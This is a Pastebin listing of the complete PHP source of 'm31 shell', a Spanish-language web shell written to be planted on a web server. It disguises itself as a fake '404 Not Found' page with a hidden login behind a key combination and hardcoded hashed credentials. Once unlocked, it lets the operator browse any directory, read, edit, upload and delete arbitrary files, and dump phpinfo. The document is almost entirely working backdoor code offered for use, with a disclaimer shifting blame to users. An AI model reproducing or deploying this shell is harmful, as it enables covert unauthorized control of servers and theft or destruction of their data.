Advertisement
Guest User

m31 shell by Aex12

a guest
Jul 12th, 2013
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 21.93 KB | None | 0 0
  1. <?php
  2. /* http://holoscripter.org/foro/index.php?topic=301.0 */
  3. header('Content-Type: text/html; charset=UTF-8'); //Charset (UTF-8 por defecto)
  4. DEFINE("user","50f8b2690eeac2c2590451b81c45f893f9a57b8d"); // Usuario: sha1(md5("m31"));
  5. DEFINE("pass","5e43ac2ef1139e88fada3c19b1b10a94493832a3"); // Contraseña: sha1(md5("holoscripter"));
  6. //Opciones de "personalizacion"
  7. $background = "http://fc08.deviantart.net/fs70/i/2011/015/e/3/clarity_by_foolish_fox-d379pzg.jpg"; //fondo de la shell
  8. $body_style = "margin-top:19px; background-repeat:no-repeat; background-attachment:fixed;"; //css de body
  9. $logotipo = "abajo"; // Posibles: arriba, abajo, desactivado.
  10. $nav_color = "#E3E3E3"; //Color en html del fondo del menu
  11. $accordion_color = "#F5F5F5"; //color en html del menu
  12. $menu_radio = "8"; //radio en pixeles de los menus.
  13. //Opciones de las sesiones PHP:
  14. $lifetime = "0"; //Tiempo en segundos que durará la sesion. 0 = hasta cerrar navegador.
  15. $maxlifetime = "259200"; //tiempo en segundos que tardará la sesion en caducar en caso de inactividad.
  16. //Opciones del chat:
  17. $wmode = "direct"; //posibles: transparent, opaque, window, direct. (Busca en google)
  18. $quality = "high"; //posibles: high, low, medium
  19. $language = "es"; //posibles: es, en.
  20. $height = "466"; //Alto en pixeles
  21. $width = "790"; //Ancho en pixeles
  22. $bgcolor = "#000000"; //color de fondo en html
  23. $xats = array(
  24. 'Holoscripter' => '153256001',
  25. 'Chat2' => '21312',
  26. 'Chat3' => '123'
  27. );
  28. //Opciones POPUP editar:
  29. $popup_ancho = "650"; //ancho en pixeles del popup editar
  30. $popup_alto = "500"; //alto en pixeles  del popup editar
  31. //combinaciones:
  32. $comb_login = "ctrl+k"; //combinacion de teclas para abrir login
  33. $comb_save = "ctrl+s"; //combinacion de teclas para guardar un archivo mientras se edita.
  34. //iconos para archivos:
  35. $icono_borrar = "http://cdn1.iconfinder.com/data/icons/aspneticons_v1.0_Nov2006/trash_%28delete%29_16x16.gif";
  36. $icono_editar = "http://cdn1.iconfinder.com/data/icons/silk2/page_white_edit.png";
  37. $icono_carpeta = "http://cdn1.iconfinder.com/data/icons/fugue/icon_shadowless/folder_horizontal_open.png";
  38. $icono_desconocido = "http://cdn1.iconfinder.com/data/icons/16x16-free-toolbar-icons/16/file.png";
  39. $iconos = array(
  40. 'pdf' => 'http://cdn1.iconfinder.com/data/icons/spirit20/file-pdf.png',
  41. 'xls' => 'http://cdn1.iconfinder.com/data/icons/spirit20/file-xls.png',
  42. 'php' => 'http://static.php.net/www.php.net/favicon.ico',
  43. 'html' => 'http://cdn1.iconfinder.com/data/icons/ledicons/html.png',
  44. 'txt' => 'http://cdn1.iconfinder.com/data/icons/16x16-free-toolbar-icons/16/2.png',
  45. 'png' => 'http://cdn1.iconfinder.com/data/icons/ledicons/picture.png',
  46. 'jpg' => 'http://cdn1.iconfinder.com/data/icons/ledicons/picture.png',
  47. 'jpeg' => 'http://cdn1.iconfinder.com/data/icons/ledicons/picture.png',
  48. 'gif' => 'http://cdn1.iconfinder.com/data/icons/ledicons/picture.png',
  49. 'js' => 'http://cdn1.iconfinder.com/data/icons/silk2/cup_edit.png',
  50. );
  51.  
  52.  
  53. session_set_cookie_params($lifetime);
  54. ini_set("session.gc_maxlifetime", $maxlifetime);
  55. session_start();
  56. if(!isset($_GET['page'])){
  57. if(!isset($_SESSION['page'])){
  58. $page = "welcome";
  59. $_SESSION['page'] = "welcome";
  60. } else {
  61. $page = $_SESSION['page'];
  62. }
  63. } else {
  64. $page = $_GET['page'];
  65. $_SESSION['page'] = $_GET['page'];
  66. }
  67.  
  68. if(isset($_GET['reload'])){
  69. $page = $_SESSION['page'];
  70. }
  71.  
  72. if($page == "disconnect"){
  73. session_destroy();
  74. header('Location: '.$_SERVER['PHP_SELF']);
  75. }
  76. if((isset($_POST['user'])) && (isset($_POST['pass']))){
  77. $_SESSION['user'] = sha1(md5($_POST['user']));
  78. $_SESSION['pass'] = sha1(md5($_POST['pass']));
  79. }
  80.  
  81.  
  82. if(isset($_GET['dir'])){$_SESSION['dir'] = $_GET['dir'];}
  83. if(!isset($_SESSION['dir'])){ $_SESSION['dir'] = getcwd();}
  84. $dir = $_SESSION['dir'];
  85.  
  86. function extension($ext){
  87. if(strpos($ext,".")){
  88. return end(explode(".", $ext));
  89. } else {
  90. return ".";
  91. }
  92. }
  93.  
  94. function tamano($peso , $decimales = 2 ) {
  95. $clase = array(" Bytes", " KB", " MB", " GB", " TB");
  96. if($peso != 0){
  97. return round($peso/pow(1024,($i = floor(log($peso, 1024)))),$decimales ).$clase[$i];
  98. } else {
  99. return "Vacio";
  100. }
  101. }
  102.  
  103. function table($nombre, $carpeta=0, $id=0){
  104. global $dir; global $iconos; global $icono_desconocido; global $icono_carpeta; global $icono_borrar; global $icono_editar;
  105. if($carpeta==0){
  106. $extension = extension($nombre);
  107. if(!isset($iconos[$extension])){
  108. $icono = $icono_desconocido;
  109. } else {
  110. $icono = $iconos[$extension];
  111. }
  112. $return =
  113. '<tr id="a_'.$id.'">
  114. <td><img src="'.$icono.'"></td>
  115. <td id="an_'.$id.'">'.$nombre.'</td>
  116. <td>'.tamano(@filesize($nombre)).'</td>
  117. <td><a onClick="edit(\''.$dir.'/'.$nombre.'\');"><img src="'.$icono_editar.'" title="EDITAR '.$nombre.'"></a>&nbsp;<a onClick="delfile(\''.$dir.'/'.$nombre.'\', \'a_'.$id.'\')"><img src="'.$icono_borrar.'" title="ELIMINAR '.$nombre.'"></a></td>
  118. </tr>';
  119. return $return;
  120. } elseif(($nombre == "..") && ($carpeta==1)){
  121. $carpetas = split("/",$dir);
  122. array_pop($carpetas);
  123. $dir2 = join("/",$carpetas);
  124. if($dir2==""){$dir2="/";}
  125. $return =
  126. '<tr>
  127. <td><img src="'.$icono_carpeta.'"></td>
  128. <td><a href="#" onClick="listardir(\''.$dir2.'\')">[Atrás] '.$nombre.'</a></td>
  129. <td></td>
  130. <td></td>
  131. </tr>';
  132. return $return;
  133. } elseif(($nombre == ".") && ($carpeta==1)){
  134. $return =
  135. '<tr>
  136. <td><img src="'.$icono_carpeta.'"></td>
  137. <td><a href="#" onClick="listardir(\''.$dir.'\')">[Recargar] '.$nombre.'</a></td>
  138. <td></td>
  139. <td></td>
  140. </tr>';
  141. return $return;
  142. } elseif($carpeta==1){
  143. if($dir=="/"){$dir="";}
  144. $return =
  145. '<tr>
  146. <td><img src="'.$icono_carpeta.'"></td>
  147. <td><a href="#" onClick="listardir(\''.$dir.'/'.$nombre.'\')">'.$nombre.'</a></td>
  148. <td></td>
  149. <td>Borrar</td>
  150. </tr>';
  151. return $return;
  152. }
  153. }
  154.  
  155. function add2menu($nombre, $pagina){
  156. echo "<li id='nav_$pagina' class='".active($pagina)."'><a href='?page=$pagina' onclick='page(\"$pagina\"); return false;'>+ $nombre</a></li>";
  157. }
  158.  
  159. function active($pagina){
  160. if($_SESSION['page'] == $pagina){return 'active';}
  161. }
  162.  
  163. if(isset($_SESSION['user'])){
  164. if(($_SESSION['user'] == user) && ($_SESSION['pass'] == pass)){
  165. $online = 1;
  166. if((isset($_POST['user'])) && (isset($_POST['pass']))){
  167. exit(header("Location: ".$_SERVER['PHP_SELF']."?page=welcome"));
  168. }
  169. }
  170. }
  171.  
  172. if(isset($online)){
  173.  
  174. if(isset($_GET['edit'])){
  175. if(isset($_POST['content'])){
  176. if($fp = @fopen($_GET['edit'],"w")){
  177. fwrite($fp, $_POST['content']);
  178. fclose($fp);
  179. exit('exito');
  180. } else {
  181. exit("error:perm");
  182. }
  183. }
  184. }
  185.  
  186. if(isset($_GET['edit'])){
  187. $html = htmlspecialchars(file_get_contents($_GET['edit']));
  188. ?>
  189. <script language="javascript" type="text/javascript" src="http://www.cdolivet.com/editarea/editarea/edit_area/edit_area_full.js"></script>
  190. <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js"></script>
  191. <script src="http://js-hotkeys.googlecode.com/files/jquery.hotkeys-0.7.9.min.js"></script>
  192. <link rel="stylesheet" href="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.core.css"/>
  193. <link rel="stylesheet" href="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.default.css"/>
  194. <script src="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.min.js"></script>
  195. <script language="javascript" type="text/javascript">
  196. editAreaLoader.init({
  197.     id : "a1"
  198.     ,syntax: "php"
  199.     ,language: "es"
  200.     ,save_callback: "check"
  201.     ,display: "later"
  202.     ,toolbar: "save,|,search, go_to_line, fullscreen, |, undo, redo, |, syntax_selection, |, select_font,|, change_smooth_selection, highlight, reset_highlight, word_wrap, |, help"
  203.     ,start_highlight: true
  204. });
  205.  
  206. function save(content){
  207. $.post("?edit=<?php echo $_GET['edit']; ?>", { content: content })
  208. .done(function(data) {
  209.   if(data == "exito"){
  210.   alertify.success("Editado correctamente!", 2500);
  211.   }
  212.  
  213.   if(data == "error:perm"){
  214.   alertify.error("No tienes permisos para editar este archivo");
  215.   }
  216. });
  217. }
  218.  
  219. function check(id, content){
  220. if(id){
  221. save(content);
  222. } else {
  223. save($('#a1').val());
  224. }
  225. }
  226.  
  227. $(document).bind('keydown', '<?php echo $comb_save; ?>', function (evt) {
  228.        check();
  229.        return false;
  230.     });
  231.    
  232. </script>
  233. <textarea id="a1" style="width:100%; height:97%; margin-top:0px; margin-left:0px;">
  234. <?php echo $html; ?>
  235. </textarea>
  236. ATENCION: Si tu PC es poco potente no es recomendado activar esta opcion en archivos grandes.
  237. <button onClick="check();">Guardar</button>
  238. <?php
  239. exit();
  240. }
  241.  
  242. if(isset($_GET['upload'])){
  243. if (array_key_exists('HTTP_X_FILE_NAME', $_SERVER) && array_key_exists('CONTENT_LENGTH', $_SERVER)) {
  244.     $fileName = $_SERVER['HTTP_X_FILE_NAME'];
  245.     $contentLength = $_SERVER['CONTENT_LENGTH'];
  246. } else throw new Exception("Error recibiendo cabeceras");
  247.  
  248. if (!$contentLength > 0) {
  249.     throw new Exception('No se ha subido ningun archivo!');
  250. }
  251.  
  252. if($_GET['newname'] == ""){ $_GET['newname'] = $fileName;}
  253. file_put_contents($dir.'/'.$_GET['newname'], file_get_contents("php://input"));
  254. exit();
  255. }
  256.  
  257. if(isset($_GET['obtenerdir'])){
  258. $_SESSION['dir'] = $_GET['obtenerdir'];
  259. $dir = $_SESSION['dir'];
  260. @chdir($dir);
  261. ?>
  262. <script>alertify.log("Carpeta: <?php echo $dir; ?>", "", 2500);</script>
  263. <table class="table table-striped table-condensed" id="table_files" style="width:100%;">
  264.  <thead>
  265.                 <tr style="width:100%;">
  266.                   <th style="width:10%;">i</th>
  267.                   <th style="width:40%;">Nombre</th>
  268.                   <th style="width:30%;">Peso</th>
  269.                   <th style="width:20%;"><div class="btn-group">
  270.   <a class="btn dropdown-toggle" data-toggle="dropdown" href="#">
  271.     Acciones
  272.     <span class="caret"></span>
  273.   </a>
  274.   <ul class="dropdown-menu">
  275.     <li><a tabindex="-1" href="#" id="opener" onclick="$('#dialog').dialog('open');">Subir archivos</a></li>
  276.   </ul>
  277. </div></th>
  278.                 </tr>
  279.               </thead>
  280.               <tbody>
  281. <?php
  282. $folders = array();
  283. $archivos1 = array();
  284. if(!@opendir($dir)){
  285. echo table('..', 1);
  286. ?>
  287. </table>
  288. <hr>
  289. <b>No tienes permisos para visualizar esta carpeta, vuelva atrás.</b>
  290. <?php
  291. exit; }
  292. $directorio=opendir($dir);
  293.  
  294. while ($archivo = readdir($directorio)) {
  295.  if($archivo == '.'){
  296.  echo table(".", 1);
  297.   } elseif($archivo == '..'){
  298.     if($dir != '.'){
  299.       echo table($archivo, 1);
  300.     }
  301.   }
  302.   elseif(is_dir("$dir/$archivo")){
  303.     $folders[] = $archivo;
  304.   } else {
  305.  $archivos1[] = $archivo;
  306. }
  307.  
  308. }
  309. closedir($directorio);
  310. $i=0;
  311. @array_multisort(@array_map('strtolower', $folders), $folders);
  312. while ($i < count ($folders) ) {
  313.     echo table($folders[$i], 1);
  314.     $i++;
  315. }
  316.  
  317. $i=0;
  318. @array_multisort(@array_map('strtolower', $archivos1), $archivos1);
  319. while ($i < count ($archivos1) ) {
  320.     echo table($archivos1[$i], 0, $i);
  321.     $i++;
  322. }
  323. ?>
  324. </tbody>
  325. </table>
  326. <?php
  327. exit();
  328. }
  329.  
  330. if(isset($_GET['delete'])){
  331. if(unlink($_GET['delete'])){
  332. exit("1");
  333. } else {
  334. exit("0");
  335. }
  336. }
  337.  
  338. if(isset($_GET['ajaxpage'])){
  339.  if($page == "welcome"){ ?>
  340.     <script>alertify.log("Bienvenido!", "", 3000);;</script>
  341.       <div class="hero-unit">
  342.   <h1>Bienvenido a m31</h1>
  343.   <p>Esta es la unica shell hasta el momento que usa jQuery, jQueryUI, Ajax y Bootstrap. Espero que le agrade, ya que ha sido diseñada para ser sencilla de usar, sin tener que renunciar a opciones mas avanzadas. Si no conoce bien el funcionamiento de esta shell, simplemente haga click en el boton "Manual" para ir al hilo oficial de esta shell y recibir mas información acerca de ella. Cordialmente, Aex12.</p>
  344.   <p>No me hago responsable de ningun daño causado con esta shell, todo acto dañino/delictivo será responsabilidad del usuario final.</p>
  345.   <p>
  346.     <a class="btn btn-primary btn-large" href="http://holoscripter.org/foro/index.php?topic=301.0">
  347.       Manual
  348.     </a>
  349.   </p>
  350. </div>
  351. <?php
  352. exit();
  353. }
  354.  
  355. if($page == "phpinfo"){
  356. echo '<script>alertify.log("PHPInfo", "", 3000);;</script>';
  357. //echo "<div class='well well-small'>";
  358. echo phpinfo();
  359. exit();
  360. //echo "</div>";
  361. }
  362.  
  363. if($page == "about"){
  364. ?>
  365. <script>alertify.log("Acerca de", "", 3000);;</script>
  366.  <div class="hero-unit">
  367.   <h1>m31 shell v0.1.0b</h1><p>
  368.   <br>Shell realizada por Aex12 para la comunidad de Holoscripter.
  369.   <br>El logotipo y favicon han sido diseñados por Exit
  370.   <br>El fondo por defecto está sacado de uno de los wallpapers de Lubuntu 13.04
  371.   <br><br>Se han usado las siguientes librerías:
  372.   <br><a href="http://twitter.github.io/bootstrap/">Bootstrap</a> (CSS), <a href="http://jquery.com/">jQuery</a> (JS), <a href="http://jqueryui.com/">jQuery UI</a> (CSS y JS), <a href="http://fabien-d.github.io/alertify.js/">Alertify</a> (CSS y JS), <a href="http://www.cdolivet.com/editarea/">EditArea</a> (JS), <a href="http://code.google.com/p/js-hotkeys/">HotKeys</a> (JS)
  373.   </p>
  374. </div>
  375. <?php
  376. exit();
  377. }
  378.  
  379. if($page == "xat"){
  380. ?>
  381. <script src="http://localhost/bootstrap/docs/assets/js/bootstrap-tab.js"></script>
  382. <script>
  383. function chateando(xat){
  384. alertify.log("Chateando en: "+xat, "", 3000)
  385. }
  386. </script>
  387. <div class="well well-small">
  388. <div class="tabbable">
  389.   <ul class="nav nav-tabs">
  390.   <?php
  391.   $i = 1;
  392.   foreach ($xats as $clave => $valor) {
  393.    if($i == 1){
  394.     echo '<li class="active"><a href="#tab1" onClick="chateando(\''.$clave.'\')" data-toggle="tab">'.$clave.'</a></li>';
  395.     $i++;
  396.     } else {
  397.     echo '<li><a href="#tab'.$i.'" onClick="chateando(\''.$clave.'\')" data-toggle="tab">'.$clave.'</a></li>';
  398.     $i++;
  399.     }
  400.     } ?>
  401.   </ul>
  402.   <div class="tab-content">
  403.     <?php
  404.   $i = 1;
  405.   foreach ($xats as $clave => $valor) {
  406.   if($i == 1){
  407.   echo '<script>chateando("'.$clave.'");</script>';
  408.     echo '<div class="tab-pane active" id="tab1">';
  409. echo '<embed src="http://www.xatech.com/web_gear/chat/chat.swf" wmode="'.$wmode.'" quality="'.$quality.'" bgcolor="'.$bgcolor.'" width="'.$width.'" height="'.$height.'" name="chat" FlashVars="id='.$valor.'&rl='.$language.'" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://xat.com/update_flash.shtml" />';
  410.     ?>
  411.     <div class="alert alert-info">
  412.     <b>¿No te abren los enlaces?</b> Prueba a usar esta combinación: <i>" Alt Gr + Click "</i>
  413.     </div>
  414.     <?php
  415.     echo '</div>';
  416.     $i++;
  417.     } else {
  418.         echo '<div class="tab-pane" id="tab'.$i.'">';
  419.     echo '<embed src="http://www.xatech.com/web_gear/chat/chat.swf" wmode="'.$wmode.'" quality="'.$quality.'" bgcolor="'.$bgcolor.'" width="'.$width.'" height="'.$height.'" name="chat" FlashVars="id='.$valor.'&rl='.$language.'" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://xat.com/update_flash.shtml" />';
  420.     ?>
  421.     <div class="alert alert-info">
  422.     <b>¿No te abren los enlaces?</b> Prueba a usar esta combinación: <i>" Alt Gr + Click "</i>
  423.     </div>
  424.     <?php
  425.     echo '</div>';
  426.     $i++;
  427.     }
  428.     } ?>
  429.   </div>
  430.   </div>
  431. </div>
  432. <?php
  433. exit();
  434. }
  435.  
  436. if($page == "files"){ ?>
  437. <script>
  438.  
  439.   $(document).ready(function () {
  440.   listardir("<?php echo $dir; ?>");
  441. });
  442.  
  443. function listardir(dir){
  444. $.get('?obtenerdir='+dir, function(data) {
  445. $("#listado").html(data);
  446. });
  447. }
  448. function delfile(del, id){
  449. $.get('?delete='+del, function(data) {
  450. if(data == 1){
  451. var myarray = del.split('/');
  452. alertify.success("Se ha eliminado "+myarray[myarray.length-1], 1000);
  453. $("#"+id).fadeOut(250, function(){ $(this).remove();});
  454. } else {
  455. alertify.error("No se pudo eliminar el archivo", 1000);
  456. }
  457. });
  458. }
  459.  
  460. function edit(file){
  461. window.open('?edit='+file,'','width=<?php echo $popup_ancho; ?>,height=<?php echo $popup_alto; ?>');
  462. }
  463.  
  464.   $(function() {
  465.     $("#dialog").dialog({
  466.       autoOpen: false,
  467.       show: {
  468.         effect: "slide",
  469.         duration: 600
  470.       },
  471.       hide: {
  472.         effect: "fold",
  473.         duration: 400
  474.       }
  475.     });
  476.   });
  477.     function nombre(fic) {
  478.   fic = fic.split('\\');
  479.   return fic[fic.length-1];
  480. }
  481.  
  482.   function uploadFile(file){
  483.     if(file){
  484. alertify.prompt("Elija el nuevo nombre del archivo a subir.", function (e, str) {
  485.     // str is the input text
  486.     if (e) {
  487.             xhr = new XMLHttpRequest();
  488.  
  489.             xhr.upload.addEventListener('load',function(e){
  490.                 alertify.success("El archivo se subio correctamente");
  491.             }, false);
  492.  
  493.             xhr.upload.addEventListener('error',function(e){
  494.                 alertify.error("Hubo algún problema al subir el archivo");
  495.             }, false);
  496.  
  497.             xhr.open('POST','?upload&newname='+str);
  498.  
  499.             xhr.setRequestHeader("Cache-Control", "no-cache");
  500.             xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
  501.             xhr.setRequestHeader("X-File-Name", file.name);
  502.  
  503.             xhr.send(file);
  504.     } else {
  505.         return;
  506.     }
  507. }, nombre($("#archivo").val()));
  508.  
  509.     }
  510. }
  511.  
  512.  
  513. function forceupload(){
  514.     var upload_input = document.querySelectorAll('#archivo')[0];
  515.     uploadFile( upload_input.files[0] );
  516. }
  517.   </script>
  518. <div id="dialog" title="Basic dialog">
  519.   <input type="file" id="archivo"/><br>
  520.   <button onclick="forceupload();">Subir archivo</button>
  521. </div>
  522.  
  523. <div class="well well-small">
  524. <div id="listado">
  525.  
  526.  
  527.  
  528. </div>
  529. </div>
  530. <?php
  531. exit();
  532. }
  533. }
  534. }
  535.  
  536. ?>
  537. <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  538. <html><head>
  539. <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js"></script>
  540. <script src="http://js-hotkeys.googlecode.com/files/jquery.hotkeys-0.7.9.min.js"></script>
  541. <link rel="stylesheet" href="http://code.jquery.com/ui/1.10.3/themes/smoothness/jquery-ui.css" />
  542. <script src="http://code.jquery.com/ui/1.10.3/jquery-ui.js"></script>
  543. <script src="http://twitter.github.io/bootstrap/assets/js/bootstrap-dropdown.js"></script>
  544. </head>
  545. <?php if(!isset($online)){?>
  546. <body>
  547. <script>
  548. $(document).bind('keydown', '<?php echo $comb_login; ?>', function (evt) {
  549.        $( "#dialog" ).dialog( "open" );
  550.        return false;
  551.     });
  552.  
  553.   $(function() {
  554.     $("#dialog").dialog({
  555.       autoOpen: false,
  556.       show: {
  557.         effect: "blind",
  558.         duration: 600
  559.       },
  560.       hide: {
  561.         effect: "explode",
  562.         duration: 400
  563.       }
  564.     });
  565.   });
  566. </script>
  567. <title>404 Not Found</title>
  568. <h1>Not Found</h1>
  569. <p>The requested URL <?php echo $_SERVER['PHP_SELF']; ?> was not found on this server.</p>
  570. <hr>
  571. <?php echo $_SERVER['SERVER_SIGNATURE'];  ?>
  572.  
  573. <div id="dialog" title="Acceso al shell">
  574.  <form name="formu1" method=POST action="">Usuario: <input type="text" name="user"><br>
  575.  Contraseña: <input type="password" name="pass"><br>
  576. <input type="submit" value="Acceder"></form>
  577. </div>
  578. </body></html>
  579. <?php } else { ?>
  580. <link rel="icon" type="image/png" href="http://i.imgur.com/vQEXqX0.png">
  581. <title>m31 Shell By Aex12</title>
  582. <link rel="stylesheet" href="http://bootswatch.com/default/bootstrap.min.css"/>
  583. <link rel="stylesheet" href="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.core.css"/>
  584. <link rel="stylesheet" href="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.default.css"/>
  585. <script src="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.min.js"></script>
  586. <script src="http://twitter.github.io/bootstrap/assets/js/bootstrap-collapse.js"></script>
  587. <body style="<?php echo $body_style; ?>" background="<?php echo $background; ?>">
  588. <div class="container-fluid">
  589.   <div class="row-fluid">
  590.     <div class="span2">
  591. <script>
  592. var antiquepage;
  593. function page(page){
  594. $.get('?page='+page+"&ajaxpage=true", function(data) {
  595. $("#contenido_pagina").html(data);
  596. $("#nav_"+page).addClass("active");
  597. $("#nav_"+antiquepage).removeClass("active");
  598. antiquepage = page;
  599. });
  600. }
  601.  
  602. function reload(){
  603. $.get('?reload=true&ajaxpage=true', function(data) {
  604. $("#contenido_pagina").html(data);
  605. });
  606. }
  607.  
  608. page('<?php echo $_SESSION["page"]; ?>');
  609.  
  610. $(document).bind('keydown', 'f5', function (evt) {
  611.        reload();
  612.        return false;
  613.     });
  614. </script>
  615. <div style="position: fixed">
  616. <?php if($logotipo=="arriba"){
  617. echo '<img src="http://i.imgur.com/wOolqv5.png">';
  618. } ?>
  619.  
  620.  <div class="accordion" id="accordion2">
  621.   <div class="accordion-group" style="background-color:<?php echo $accordion_color;?>; border-radius:<?php echo $menu_radio; ?>px;">
  622.     <div class="accordion-heading">
  623.       <a class="accordion-toggle" data-toggle="collapse" data-parent="#accordion2" href="#collapseOne">
  624.       [ Básico ]
  625.       </a>
  626.     </div>
  627.     <div id="collapseOne" class="accordion-body collapse in">
  628.       <div class="accordion-inner" style="background-color:<?php echo $nav_color;?>; border-bottom-right-radius:<?php echo $menu_radio; ?>px; border-bottom-left-radius:<?php echo $menu_radio; ?>px;">
  629.       <ul class="nav nav-list">
  630.   <?php add2menu("Archivos", "files"); ?>
  631.   </ul>
  632.    </div>
  633.     </div>
  634.   </div>
  635.   <div class="accordion-group" style="background-color:<?php echo $accordion_color;?>; border-radius:<?php echo $menu_radio; ?>px;">
  636.     <div class="accordion-heading">
  637.       <a class="accordion-toggle" data-toggle="collapse" data-parent="#accordion2" href="#collapseTwo">
  638.       [ Avanzado ]
  639.        </a>
  640.     </div>
  641.     <div id="collapseTwo" class="accordion-body collapse">
  642.       <div class="accordion-inner" style="background-color:<?php echo $nav_color;?>; border-bottom-right-radius:<?php echo $menu_radio; ?>px; border-bottom-left-radius:<?php echo $menu_radio; ?>px;">
  643.        <ul class="nav nav-list">
  644.   <?php add2menu("phpinfo()", "phpinfo"); ?>
  645.   </ul>
  646.   </div>
  647.     </div>
  648.   </div>
  649.   <div class="accordion-group" style="background-color:<?php echo $accordion_color;?>; border-radius:<?php echo $menu_radio; ?>px;">
  650.     <div class="accordion-heading">
  651.       <a class="accordion-toggle" data-toggle="collapse" data-parent="#accordion2" href="#collapseThree">
  652.   [ Otros ]
  653.   </a>
  654.     </div>
  655.     <div id="collapseThree" class="accordion-body collapse">
  656.       <div class="accordion-inner" style="background-color:<?php echo $nav_color;?>; border-bottom-right-radius:<?php echo $menu_radio; ?>px; border-bottom-left-radius:<?php echo $menu_radio; ?>px;">
  657.   <ul class="nav nav-list">
  658.   <?php add2menu("Bienvenido", "welcome");
  659.     add2menu("Chat", "xat");
  660.     add2menu("Acerca de", "about"); ?>
  661.   <li><a href="?page=disconnect">+ Desconectar</a></li>
  662. </ul>
  663. </div>
  664.     </div>
  665.   </div>
  666. </div>
  667. <?php if($logotipo=="abajo"){
  668. echo '<img src="http://i.imgur.com/wOolqv5.png">';
  669. } ?>
  670.     </div>
  671.     </div>
  672.     <div class="span10" id="contenido_pagina">
  673.    
  674.     </div>
  675.   </div>
  676. </div>
  677. </body>
  678. <?php } ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement